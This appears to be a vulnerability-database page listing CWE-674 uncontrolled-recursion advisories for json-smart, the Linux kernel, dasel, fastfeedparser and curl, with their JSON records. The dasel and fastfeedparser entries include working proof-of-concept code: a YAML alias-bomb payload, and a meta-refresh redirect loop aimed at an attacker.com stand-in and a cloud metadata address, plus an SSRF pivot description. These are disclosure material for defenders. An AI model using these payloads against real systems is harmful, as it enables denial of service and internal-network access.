Common Weakness Enumeration

CWE-674

Allowed-with-Review

Uncontrolled Recursion

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

751 vulnerabilities reference this CWE, most recent first.

GHSA-493P-PFQ6-5258

Vulnerability from github – Published: 2023-03-23 20:32 – Updated: 2026-08-04 22:06
VLAI
Summary
json-smart Uncontrolled Recursion vulnerability
Details

Impact

Affected versions of net.minidev:json-smart are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.

When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.

Patches

This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.

Workarounds

N/A

References

  • https://www.cve.org/CVERecord?id=CVE-2023-1370
  • https://nvd.nist.gov/vuln/detail/CVE-2023-1370
  • https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "net.minidev:json-smart"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-1370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-23T20:32:03Z",
    "nvd_published_at": "2023-03-22T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAffected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.\n\nWhen reaching a \u2018[\u2018 or \u2018{\u2018 character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.\n\n### Patches\nThis vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.\n\n### Workarounds\nN/A\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-1370\n- https://nvd.nist.gov/vuln/detail/CVE-2023-1370\n- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748",
  "id": "GHSA-493p-pfq6-5258",
  "modified": "2026-08-04T22:06:15Z",
  "published": "2023-03-23T20:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/issues/137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/commit/5b3205d051952d3100aa0db1535f6ba6226bd87a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/commit/e2791ae506a57491bc856b439d706c81e45adcf8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oswaldobapvicjr/jsonmerge"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0006"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-1370"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "json-smart Uncontrolled Recursion vulnerability"
}

GHSA-4CX5-6RWV-F35M

Vulnerability from github – Published: 2026-05-28 12:30 – Updated: 2026-06-10 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

drm/amdgpu/vcn4: Avoid overflow on msg bound check

As pointed out by SDL, the previous condition may be vulnerable to overflow.

(cherry picked from commit 3c5367d950140d4ec7af830b2268a5a6fdaa3885)

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-46217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T10:16:37Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/vcn4: Avoid overflow on msg bound check\n\nAs pointed out by SDL, the previous condition may be vulnerable to\noverflow.\n\n(cherry picked from commit 3c5367d950140d4ec7af830b2268a5a6fdaa3885)",
  "id": "GHSA-4cx5-6rwv-f35m",
  "modified": "2026-06-10T21:31:25Z",
  "published": "2026-05-28T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46217"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/271cd5429513ff9b364a9bf8903e5b65b687eb25"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/30d12ee310a6024ff4c7b9eafdbbeab2db450d4a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5bb5faff4837b1d98fd655cf8bd7b5d4da0fc4dc"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/65bce27ea6192320448c30267ffc17ffa094e713"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/73043d296787bf187d89ffb5c5dcf5bdc3db7885"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f7bf02dcb7c76229ea8ace11b7d0d0c7b87ee57e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4FCP-JXH7-23X8

Vulnerability from github – Published: 2026-03-19 12:50 – Updated: 2026-03-25 21:35
VLAI
Summary
Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service
Details

Summary

dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own UnmarshalYAML implementation, which manually resolves alias nodes by recursively following yaml.Node.Alias pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.

The issue issue is on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on the current default branch at commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. It is also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.

Details

In v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8), the reachable call path is:

The root cause is that go-yaml v4 has two decoding paths:

  1. Unmarshal into Go values: Tracks alias expansion count and rejects documents with excessive aliasing ("yaml: document contains excessive aliasing").
  2. Decode into yaml.Node / custom UnmarshalYAML: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.

Dasel receives the compact Node tree via its UnmarshalYAML(*yaml.Node) hook and then recursively follows value.Alias pointers, re-expanding aliases without a budget:

case yaml.AliasNode:
    newVal := &yamlValue{}
    if err := newVal.UnmarshalYAML(value.Alias); err != nil {
        return err
    }
    yv.value = newVal.value
    yv.value.SetMetadataValue("yaml-alias", value.Value)

With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.

Test environment:

  • MacBook Air (Apple M2), macOS / Darwin arm64
  • Go 1.26.1
  • dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)
  • go.yaml.in/yaml/v4 v4.0.0-rc.3

PoC

package main

import (
    "fmt"
    "runtime"
    "time"

    "github.com/tomwright/dasel/v3/parsing"
    _ "github.com/tomwright/dasel/v3/parsing/yaml"
    "go.yaml.in/yaml/v4"
)

func main() {
    payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
`

    fmt.Printf("Payload size: %d bytes\n", len(payload))
    fmt.Printf("Go version: %s\n", runtime.Version())
    fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
    fmt.Println()

    // 1. go-yaml v4 Unmarshal correctly rejects this
    fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===")
    {
        var v interface{}
        start := time.Now()
        err := yaml.Unmarshal([]byte(payload), &v)
        elapsed := time.Since(start)
        if err != nil {
            fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err)
        } else {
            fmt.Printf("VULNERABLE: Completed in %v\n", elapsed)
        }
    }
    fmt.Println()

    // 2. Dasel's YAML reader is vulnerable
    fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===")
    done := make(chan string, 1)
    go func() {
        reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions())
        if err != nil {
            done <- fmt.Sprintf("Error creating reader: %v", err)
            return
        }
        start := time.Now()
        _, err = reader.Read([]byte(payload))
        elapsed := time.Since(start)
        if err != nil {
            done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
        } else {
            done <- fmt.Sprintf("Completed in %v", elapsed)
        }
    }()

    select {
    case result := <-done:
        fmt.Println(result)
    case <-time.After(5 * time.Second):
        fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress")
    }
}

Observed output on v3.3.1 in the test environment above:

Payload size: 342 bytes
Go version: go1.26.1
GOARCH: arm64

=== Test 1: Direct yaml.Unmarshal (should be rejected) ===
SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing

=== Test 2: Dasel YAML reader (VULNERABLE) ===
CONFIRMED: did not complete within 5s; unbounded alias expansion in progress

Impact

An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own UnmarshalYAML handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.

This affects: - CLI usage: when reading YAML from stdin or files via the CLI - Library usage: any application using dasel's YAML reader to parse untrusted YAML - The parse("yaml", ...) function in selectors

Suggested Fix

One likely fix is to add an alias expansion counter to UnmarshalYAML that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tomwright/dasel/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:50:57Z",
    "nvd_published_at": "2026-03-24T01:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`dasel`\u0027s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library\u0027s own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4\u0027s built-in alias expansion limit.\n\nThe issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.\n\n### Details\n\nIn `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is:\n\n- The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format(\"yaml\").NewReader()`\n- `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler\n- `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree\n- When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count\n\nThe root cause is that go-yaml v4 has two decoding paths:\n\n1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`\"yaml: document contains excessive aliasing\"`).\n2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.\n\nDasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget:\n\n```go\ncase yaml.AliasNode:\n    newVal := \u0026yamlValue{}\n    if err := newVal.UnmarshalYAML(value.Alias); err != nil {\n        return err\n    }\n    yv.value = newVal.value\n    yv.value.SetMetadataValue(\"yaml-alias\", value.Value)\n```\n\nWith a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n- go.yaml.in/yaml/v4 `v4.0.0-rc.3`\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/yaml\"\n\t\"go.yaml.in/yaml/v4\"\n)\n\nfunc main() {\n\tpayload := `a: \u0026a [\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\"]\nb: \u0026b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\nc: \u0026c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\nd: \u0026d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\ne: \u0026e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\nf: \u0026f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\ng: \u0026g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\nh: \u0026h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\ni: \u0026i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\n`\n\n\tfmt.Printf(\"Payload size: %d bytes\\n\", len(payload))\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\t// 1. go-yaml v4 Unmarshal correctly rejects this\n\tfmt.Println(\"=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\")\n\t{\n\t\tvar v interface{}\n\t\tstart := time.Now()\n\t\terr := yaml.Unmarshal([]byte(payload), \u0026v)\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"SAFE: Rejected in %v: %v\\n\", elapsed, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"VULNERABLE: Completed in %v\\n\", elapsed)\n\t\t}\n\t}\n\tfmt.Println()\n\n\t// 2. Dasel\u0027s YAML reader is vulnerable\n\tfmt.Println(\"=== Test 2: Dasel YAML reader (VULNERABLE) ===\")\n\tdone := make(chan string, 1)\n\tgo func() {\n\t\treader, err := parsing.Format(\"yaml\").NewReader(parsing.DefaultReaderOptions())\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error creating reader: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tstart := time.Now()\n\t\t_, err = reader.Read([]byte(payload))\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t} else {\n\t\t\tdone \u003c- fmt.Sprintf(\"Completed in %v\", elapsed)\n\t\t}\n\t}()\n\n\tselect {\n\tcase result := \u003c-done:\n\t\tfmt.Println(result)\n\tcase \u003c-time.After(5 * time.Second):\n\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; unbounded alias expansion in progress\")\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nPayload size: 342 bytes\nGo version: go1.26.1\nGOARCH: arm64\n\n=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\nSAFE: Rejected in 824.042\u00b5s: yaml: document contains excessive aliasing\n\n=== Test 2: Dasel YAML reader (VULNERABLE) ===\nCONFIRMED: did not complete within 5s; unbounded alias expansion in progress\n```\n\n### Impact\n\nAn attacker who can supply YAML for processing by dasel can cause denial of service. The library\u0027s own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.\n\nThis affects:\n- CLI usage: when reading YAML from stdin or files via the CLI\n- Library usage: any application using dasel\u0027s YAML reader to parse untrusted YAML\n- The `parse(\"yaml\", ...)` function in selectors\n\n### Suggested Fix\n\nOne likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4\u0027s internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).",
  "id": "GHSA-4fcp-jxh7-23x8",
  "modified": "2026-03-25T21:35:31Z",
  "published": "2026-03-19T12:50:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-4fcp-jxh7-23x8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33320"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TomWright/dasel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service"
}

GHSA-4GX2-PC4F-WQ37

Vulnerability from github – Published: 2026-04-08 00:12 – Updated: 2026-06-06 00:24
VLAI
Summary
FastFeedParser has an infinite redirect loop DoS via meta-refresh chain
Details

Summary

When parse() fetches a URL that returns an HTML page containing a <meta http-equiv="refresh"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.

Details

parse() catches ValueError on XML parse failure, extracts a meta-refresh URL from the HTML response via _extract_meta_refresh_url(), and tail-calls itself with that URL. The recursive call is unconditional — there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.

fastfeedparser/main.py — parse() (recursive sink):

def parse(source: str | bytes, ...) -> FastFeedParserDict:
    is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
    if is_url:
        content = _fetch_url_content(source)
    try:
        return _parse_content(content, ...)
    except ValueError as e:
        ...
        redirect_url = _extract_meta_refresh_url(content, source)
        if redirect_url is None:
            raise
        return parse(redirect_url, ...)   # ← unconditional recursion, no depth limit

_extract_meta_refresh_url() uses urljoin(base_url, match.group(1)) so relative, protocol-relative (//host/path), and absolute URLs in the content= attribute are all followed.

PoC

No live server required. The following monkeypatches _fetch_url_content to return an infinite HTML meta-refresh chain and confirms unbounded recursion:

import fastfeedparser.main as m

call_count = 0
_orig = m._fetch_url_content

def mock_fetch(url):
    global call_count
    call_count += 1
    if call_count > 10:
        raise RuntimeError(f"Stopped at call {call_count}")
    next_url = f"http://169.254.169.254/step{call_count}/"
    return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()

m._fetch_url_content = mock_fetch

try:
    m.parse("http://attacker.com/loop")
except RuntimeError as e:
    print(f"CONFIRMED infinite loop: {e}")
finally:
    m._fetch_url_content = _orig
    print(f"Total fetches before stop: {call_count}")

# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11

Each recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python's default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a RecursionError is raised.

SSRF chain variant: The first response can be legitimate HTML redirecting to an internal address (http://192.168.1.1/), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.

Impact

This is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls fastfeedparser.parse() is affected — including RSS aggregators, feed preview services, and "subscribe by URL" features. An attacker with no authentication can:

  • Hold a server worker thread indefinitely (one request per attacker connection)
  • Crash the worker process via RecursionError after ~1000 redirects
  • Use the redirect chain to pivot SSRF requests to internal network targets
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.9"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fastfeedparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:12:26Z",
    "nvd_published_at": "2026-04-07T20:16:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen `parse()` fetches a URL that returns an HTML page containing a `\u003cmeta http-equiv=\"refresh\"\u003e` tag, it recursively calls itself with the redirect URL \u2014 with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.\n\n\n### Details\n`parse()` catches `ValueError` on XML parse failure, extracts a meta-refresh URL from the HTML response via `_extract_meta_refresh_url()`, and tail-calls itself with that URL. The recursive call is unconditional \u2014 there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.\n\n**`fastfeedparser/main.py` \u2014 `parse()` (recursive sink):**\n```python\ndef parse(source: str | bytes, ...) -\u003e FastFeedParserDict:\n    is_url = isinstance(source, str) and source.startswith((\"http://\", \"https://\"))\n    if is_url:\n        content = _fetch_url_content(source)\n    try:\n        return _parse_content(content, ...)\n    except ValueError as e:\n        ...\n        redirect_url = _extract_meta_refresh_url(content, source)\n        if redirect_url is None:\n            raise\n        return parse(redirect_url, ...)   # \u2190 unconditional recursion, no depth limit\n```\n\n`_extract_meta_refresh_url()` uses `urljoin(base_url, match.group(1))` so relative, protocol-relative (`//host/path`), and absolute URLs in the `content=` attribute are all followed.\n\n### PoC\nNo live server required. The following monkeypatches `_fetch_url_content` to return an infinite HTML meta-refresh chain and confirms unbounded recursion:\n\n```python\nimport fastfeedparser.main as m\n\ncall_count = 0\n_orig = m._fetch_url_content\n\ndef mock_fetch(url):\n    global call_count\n    call_count += 1\n    if call_count \u003e 10:\n        raise RuntimeError(f\"Stopped at call {call_count}\")\n    next_url = f\"http://169.254.169.254/step{call_count}/\"\n    return f\"\"\"\u003chtml\u003e\u003chead\u003e\n\u003cmeta http-equiv=\"refresh\" content=\"0; url={next_url}\"\u003e\n\u003c/head\u003e\u003cbody\u003enot a feed\u003c/body\u003e\u003c/html\u003e\"\"\".encode()\n\nm._fetch_url_content = mock_fetch\n\ntry:\n    m.parse(\"http://attacker.com/loop\")\nexcept RuntimeError as e:\n    print(f\"CONFIRMED infinite loop: {e}\")\nfinally:\n    m._fetch_url_content = _orig\n    print(f\"Total fetches before stop: {call_count}\")\n\n# Output:\n# CONFIRMED infinite loop: Stopped at call 11\n# Total fetches before stop: 11\n```\n\nEach recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python\u0027s default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a `RecursionError` is raised.\n\n**SSRF chain variant:** The first response can be legitimate HTML redirecting to an internal address (`http://192.168.1.1/`), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.\n\n\n\n### Impact\nThis is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls `fastfeedparser.parse()` is affected \u2014 including RSS aggregators, feed preview services, and \"subscribe by URL\" features. An attacker with no authentication can:\n\n- Hold a server worker thread indefinitely (one request per attacker connection)\n- Crash the worker process via `RecursionError` after ~1000 redirects\n- Use the redirect chain to pivot SSRF requests to internal network targets",
  "id": "GHSA-4gx2-pc4f-wq37",
  "modified": "2026-06-06T00:24:06Z",
  "published": "2026-04-08T00:12:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39376"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kagisearch/fastfeedparser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastfeedparser/PYSEC-2026-60.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FastFeedParser has an infinite redirect loop DoS via meta-refresh chain"
}

GHSA-4P2H-JGGV-23JG

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2024-03-27 18:32
VLAI
Details

curl 7.21.0 to and including 7.73.0 is vulnerable to uncontrolled recursion due to a stack overflow issue in FTP wildcard match parsing.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-8285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-14T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "curl 7.21.0 to and including 7.73.0 is vulnerable to uncontrolled recursion due to a stack overflow issue in FTP wildcard match parsing.",
  "id": "GHSA-4p2h-jggv-23jg",
  "modified": "2024-03-27T18:32:37Z",
  "published": "2022-05-24T17:36:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/curl/curl/issues/6255"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1045844"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4881"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212327"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212326"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212325"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210122-0007"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202012-14"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NZUVSQHN2ESHMJXNQ2Z7T2EELBB5HJXG"
    },
    {
      "type": "WEB",
